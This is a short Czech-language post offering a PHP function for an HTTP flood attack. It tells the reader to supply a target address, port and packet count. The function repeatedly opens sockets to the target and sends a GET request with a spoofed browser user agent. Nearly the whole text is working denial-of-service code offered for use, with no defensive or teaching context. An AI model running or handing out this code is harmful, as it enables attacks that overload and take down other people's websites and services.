Ukázka jednoduché HTTP flood funkce. Stačí zadat cílovou adresu, cílový port a počet packetů.

function httpflood($domain, $port, $count){
  $request = "GET / HTTP/1.1\r\n";
  $request .= "Host: $domain\r\n";
  $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
  $request .= "Accept: */*\r\n";
  $request .= "Accept-Language: en\r\n";
  $request .= "Accept-Encoding: gzip, deflate\r\n";
  $request .= "Connection: Keep-Alive\r\n\r\n";
 
  for($i = 0; $i < $count; $i++){
    $fp = @fsockopen($domain, $port);
    @fwrite($fp, $request);
    @fclose($fp);
  }
}